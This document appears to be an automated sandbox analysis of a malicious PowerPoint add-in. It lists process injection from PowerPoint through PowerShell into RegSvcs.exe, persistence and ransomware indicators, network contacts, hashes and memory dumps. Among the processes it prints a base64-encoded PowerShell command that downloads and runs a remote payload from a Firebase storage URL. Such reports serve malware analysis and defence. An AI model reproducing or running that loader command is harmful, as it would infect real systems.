PID 4224 wrote to memory of 4924 N/A C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4924 wrote to memory of 1512 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
PID 4924 wrote to memory of 1512 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
PID 4924 wrote to memory of 1512 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
PID 4924 wrote to memory of 1512 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
PID 4924 wrote to memory of 1512 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
PID 4924 wrote to memory of 1512 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
PID 4924 wrote to memory of 1512 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
PID 4924 wrote to memory of 1512 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Uses Task Scheduler COM API

persistence

Uses Volume Shadow Copy WMI provider

ransomware

Uses Volume Shadow Copy service COM API

ransomware

Processes

C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE

"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\LinhasSumarizadas_2024046175.ppam" /ou ""

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e SQBFAFgAIAAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAuAEkAbgB2AG8AawBlACgAJwANAAoAaAB0AHQAcABzADoALwAvAGYAaQByAGUAYgBhAHMAZQBzAHQAbwByAGEAZwBlAC4AZwBvAG8AZwBsAGUAYQBwAGkAcwAuAGMAbwBtAC8AdgAwAC8AYgAvAG0AYQBzAHQAZQByAC0AMgA3ADEAYgA4AC4AYQBwAHAAcwBwAG8AdAAuAGMAbwBtAC8AbwAvAE4ATwBWAE8AUgBFAFYARQBSAEcARQBNAC4AagBwAGcAPwBhAGwAdAA9AG0AZQBkAGkAYQAmAHQAbwBrAGUAbgA9ADcAOQA2AGYAZQA4ADIANAAtADMAZQA0ADUALQA0ADYANgBkAC0AOQBkADYANgAtADYAOAAxADQAZQBhADIANwAyAGYAYQA0AA0ACgAnACkAOwAgAA0ACgBkAG4ATgB0AFIAcAB0AFcAUgBGAEQAaQBVAHAAVQBjAEcASABMAHoAbwBEAFUARgBvAEUAQwBRAHoAQwBMAEYAaABWAGkAVAB2AFMASABmAHQAYwBwAFoARQBVAFIARABOAGIAQgBkAEoAcwBwAGIAQQBpAGUAUwBNAEkAYQBuAFUAQwBiAFoAYgBjAHMATwBFAEcARgB1AFMADQAKAA==""

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 18.89.109.52.in-addr.arpa udp
US 8.8.8.8:53 31.243.111.52.in-addr.arpa udp
US 8.8.8.8:53 61.242.123.52.in-addr.arpa udp
US 8.8.8.8:53 firebasestorage.googleapis.com udp
NL 142.251.36.10:443 firebasestorage.googleapis.com tcp
US 8.8.8.8:53 17.160.190.20.in-addr.arpa udp
US 8.8.8.8:53 10.36.251.142.in-addr.arpa udp
US 8.8.8.8:53 99.58.20.217.in-addr.arpa udp
US 8.8.8.8:53 26.35.223.20.in-addr.arpa udp
BR 18.228.173.171:5222 tcp
US 8.8.8.8:53 137.71.105.51.in-addr.arpa udp
US 8.8.8.8:53 171.173.228.18.in-addr.arpa udp
US 8.8.8.8:53 183.59.114.20.in-addr.arpa udp
US 8.8.8.8:53 18.31.95.13.in-addr.arpa udp
US 8.8.8.8:53 34.58.20.217.in-addr.arpa udp
US 8.8.8.8:53 240.221.184.93.in-addr.arpa udp
US 8.8.8.8:53 77.190.18.2.in-addr.arpa udp
US 8.8.8.8:53 11.227.111.52.in-addr.arpa udp

Files

memory/4224-0-0x00007FFB84470000-0x00007FFB84480000-memory.dmp

memory/4224-1-0x00007FFB84470000-0x00007FFB84480000-memory.dmp

memory/4224-2-0x00007FFB84470000-0x00007FFB84480000-memory.dmp

memory/4224-3-0x00007FFB84470000-0x00007FFB84480000-memory.dmp

memory/4224-5-0x00007FFBC448D000-0x00007FFBC448E000-memory.dmp

memory/4224-4-0x00007FFB84470000-0x00007FFB84480000-memory.dmp

memory/4224-6-0x00007FFBC43F0000-0x00007FFBC45E5000-memory.dmp

memory/4224-9-0x00007FFBC43F0000-0x00007FFBC45E5000-memory.dmp

memory/4224-8-0x00007FFBC43F0000-0x00007FFBC45E5000-memory.dmp

memory/4224-7-0x00007FFBC43F0000-0x00007FFBC45E5000-memory.dmp

memory/4224-10-0x00007FFB82010000-0x00007FFB82020000-memory.dmp

memory/4224-12-0x00007FFBC43F0000-0x00007FFBC45E5000-memory.dmp

memory/4224-13-0x00007FFB82010000-0x00007FFB82020000-memory.dmp

memory/4224-11-0x00007FFBC43F0000-0x00007FFBC45E5000-memory.dmp

memory/4224-15-0x00007FFBC43F0000-0x00007FFBC45E5000-memory.dmp

memory/4224-14-0x00007FFBC43F0000-0x00007FFBC45E5000-memory.dmp

memory/4224-17-0x00007FFBC43F0000-0x00007FFBC45E5000-memory.dmp

memory/4224-20-0x00007FFBC43F0000-0x00007FFBC45E5000-memory.dmp

memory/4224-19-0x00007FFBC43F0000-0x00007FFBC45E5000-memory.dmp

memory/4224-18-0x00007FFBC43F0000-0x00007FFBC45E5000-memory.dmp

memory/4224-16-0x00007FFBC43F0000-0x00007FFBC45E5000-memory.dmp

memory/4224-31-0x00007FFBC43F0000-0x00007FFBC45E5000-memory.dmp

memory/4224-32-0x00007FFBC43F0000-0x00007FFBC45E5000-memory.dmp

memory/4224-54-0x00007FFBC43F0000-0x00007FFBC45E5000-memory.dmp

memory/4224-56-0x00007FFBC43F0000-0x00007FFBC45E5000-memory.dmp

memory/4224-55-0x00007FFBC43F0000-0x00007FFBC45E5000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qausuubk.cdx.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/4924-59-0x000001D2D8B80000-0x000001D2D8BA2000-memory.dmp

memory/4924-74-0x000001D2D8BF0000-0x000001D2D8C10000-memory.dmp

memory/4924-75-0x000001D2D8BF0000-0x000001D2D8C08000-memory.dmp

memory/4924-78-0x000001D2D8BF0000-0x000001D2D8C08000-memory.dmp

memory/4924-86-0x000001D2D8BF0000-0x000001D2D8C08000-memory.dmp

memory/4924-84-0x000001D2D8BF0000-0x000001D2D8C08000-memory.dmp

memory/4924-82-0x000001D2D8BF0000-0x000001D2D8C08000-memory.dmp

memory/4924-80-0x000001D2D8BF0000-0x000001D2D8C08000-memory.dmp

memory/4924-76-0x000001D2D8BF0000-0x000001D2D8C08000-memory.dmp

memory/1512-90-0x0000000000520000-0x000000000052A000-memory.dmp

memory/1512-91-0x0000000005050000-0x00000000055F4000-memory.dmp

memory/1512-92-0x00000000056A0000-0x000000000573C000-memory.dmp

memory/1512-93-0x0000000005600000-0x0000000005666000-memory.dmp

memory/4224-99-0x00007FFB84470000-0x00007FFB84480000-memory.dmp

memory/4224-100-0x00007FFB84470000-0x00007FFB84480000-memory.dmp

memory/4224-102-0x00007FFB84470000-0x00007FFB84480000-memory.dmp

memory/4224-101-0x00007FFB84470000-0x00007FFB84480000-memory.dmp

memory/4224-103-0x00007FFBC43F0000-0x00007FFBC45E5000-memory.dmp